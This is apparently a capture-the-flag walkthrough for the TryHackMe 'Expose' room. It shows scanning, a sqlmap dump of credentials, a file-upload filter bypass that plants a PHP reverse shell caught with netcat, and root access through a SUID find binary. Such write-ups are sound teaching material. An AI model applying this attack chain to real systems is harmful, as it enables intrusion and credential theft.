> For the complete documentation index, see [llms.txt](https://jeffgthompsons-organization.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/expose.md).

# Expose

**Room Link:** <https://tryhackme.com/room/expose>

### Initial Scan

**Kali**

<pre><code><strong>nmap -A $VICTIM
</strong></code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FRqUstMmRR9SZIDk3e2gI%2Fimage.png?alt=media&amp;token=b1663f30-323b-414a-b007-06d499941f8e" alt=""><figcaption></figcaption></figure>

### Scan all ports

**Kali**

<pre><code><strong>nmap -sV -sT -O -p 1-65535 $VICTIM
</strong></code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fq1RK915qtAtuxgvAdKda%2Fimage.png?alt=media&amp;token=fefd8a37-1ed7-4bab-8604-52084472ea5b" alt=""><figcaption></figcaption></figure>

### TCP/1337 - HTTP

**Kali**

```
gobuster dir -u http://$VICTIM:1337 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F8ASuGIVI2A8gu4mb3LdY%2Fimage.png?alt=media&amp;token=b1424906-ed67-4171-9f0d-59ba9a18ea4d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FbSsIFcrJqRywA29mntMK%2Fimage.png?alt=media&amp;token=b5c965dc-c584-4507-8401-3f968e36e8f8" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FklySsH1k2mZhBptkbFby%2Fimage.png?alt=media&amp;token=86d22915-258c-46dd-8336-5abdc68cc75e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F0oqsC349W0vrpWebSvQ8%2Fimage.png?alt=media&amp;token=db90b891-650e-4fbb-82ee-6131eddf8441" alt=""><figcaption></figcaption></figure>

**Kali**

```
sqlmap -r request.txt --dbms=mysql --dump
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FwKlWeQ3kKGHqh0Bw1Tyi%2Fimage.png?alt=media&amp;token=62526618-b2b8-4a9f-b1b1-d2e87f800ab5" alt=""><figcaption></figcaption></figure>

```
+--------------------------------------+--------------------------------------+--------------------------------------+--------------------------------------+
| id                                   | email                                | created                              | password                             |
+--------------------------------------+--------------------------------------+--------------------------------------+--------------------------------------+
| 2023-02-21 09:05:46                  | 2023-02-21 09:05:46                  | 2023-02-21 09:05:46                  | 2023-02-21 09:05:46                  |
| hacker@root.thm                      | hacker@root.thm                      | hacker@root.thm                      | hacker@root.thm                      |
| 1                                    | 1                                    | 1                                    | 1                                    |
| VeryDifficultPassword!!#@#@!#!@#1231 | VeryDifficultPassword!!#@#@!#!@#1231 | VeryDifficultPassword!!#@#@!#!@#1231 | VeryDifficultPassword!!#@#@!#!@#1231 |
+--------------------------------------+--------------------------------------+--------------------------------------+--------------------------------------+

```

There are two URLs here, the second one needs a username which we don't have so we'll start with the first one.

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FaUUWYXo4rmhSrB6ffNhr%2Fimage.png?alt=media&amp;token=18ab2467-fc84-45e4-8012-4e18497f351b" alt=""><figcaption></figcaption></figure>

```
+----+------------------------------+-----------------------------------------------------+
| id | url                          | password                                            |
+----+------------------------------+-----------------------------------------------------+
| 1  | /file1010111/index.php       | 69c66901194a6486176e81f5945b8929 (easytohack)       |
| 3  | /upload-cv00101011/index.php | // ONLY ACCESSIBLE THROUGH USERNAME STARTING WITH Z |
+----+------------------------------+-----------------------------------------------------+

```

**Brower - /file1010111/index.php** &#x20;

```
Username: hacker@root.thm
Password: VeryDifficultPassword!!#@#@!#!@#1231
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FFiziFSlmu3LR0oRu4kS8%2Fimage.png?alt=media&amp;token=4f836d38-5502-4a89-b119-d23a082b7731" alt=""><figcaption></figcaption></figure>

**Browser**

```
Password: easytohack
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FxALn3ndKEPjvNJCK9YH1%2Fimage.png?alt=media&amp;token=bf14bd94-374d-4ff1-8f6c-448d086ba23c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FBOyUi2GXK9hpsVOJiMcu%2Fimage.png?alt=media&amp;token=3c4504cb-b089-41a7-9aea-799a19cd3946" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F419VB6O7gilsgfFDzfqM%2Fimage.png?alt=media&amp;token=88284385-aa53-4012-ad6d-ebc16a7965e5" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FLpm6S3UDJGz7zDNdVfly%2Fimage.png?alt=media&amp;token=a374b814-0e58-48fe-9ed7-626d9503a819" alt=""><figcaption></figcaption></figure>

**Browser - /upload-cv00101011/index.php**&#x20;

```
Password: zeamkish
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FSn5T78Q5IVUSmPGxysEI%2Fimage.png?alt=media&amp;token=f36cadfb-4b5c-4b78-9336-6b48e769880d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FxT7ooQ7dHvXtTS5PmiYm%2Fimage.png?alt=media&amp;token=312fada9-80e1-4415-8ab4-dfc50ee4f6b8" alt=""><figcaption></figcaption></figure>

**Kali**

```
git clone https://github.com/pentestmonkey/php-reverse-shell.git
cd php-reverse-shell/
cp php-reverse-shell.php php-reverse-shell.php#.png
nc -lvnp 1337 
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FQO5TrJqI7eaKiooCat1j%2Fimage.png?alt=media&amp;token=62c62e53-43c1-4d86-aeec-67aeeb58b0ac" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F2HiZKOSrIRoSkVh7c1XK%2Fimage.png?alt=media&amp;token=0a97d5c7-fb3c-4be0-89cb-475f73f1bc2e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FqrQln9aCEcvIli242kWi%2Fimage.png?alt=media&amp;token=42ecba0c-a51e-4566-8e31-cea7b277f578" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FoT9YBaX053mU7U2kGfqo%2Fimage.png?alt=media&amp;token=9b7b74e2-3403-41a1-82dd-fb0f93e6e6a7" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FvgmnSBk0rOrZoKXZv0QD%2Fimage.png?alt=media&amp;token=186e1dac-3cdb-4f5f-b546-60d48d795099" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fcw40RSK1eeOcHbXquUby%2Fimage.png?alt=media&amp;token=60082fde-9567-46aa-b005-d880fe318370" alt=""><figcaption></figcaption></figure>

Get autocomplete

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fg
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fx6Vr99wWtAbT9Tk52iBh%2Fimage.png?alt=media&amp;token=4e5a5ff0-e7b1-4d50-abd1-110b24ba079a" alt=""><figcaption></figcaption></figure>

**Kali**

```
ssh zeamkish@$VICTIM
Password: easytohack@123
```

## Privilege Escalation

**Victim**

```
find / -perm -4000 2>/dev/null
find . -exec /bin/sh -p \; -quit
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F4RXKCx7DQDzM0rlt7wL0%2Fimage.png?alt=media&amp;token=40a7620d-ac15-4c6c-a49e-d3a099f31130" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fu8lwhMFCUCm71ZQvKfK0%2Fimage.png?alt=media&amp;token=ad4a3a6b-0dae-427c-a71e-4a3204000ba1" alt=""><figcaption></figcaption></figure>
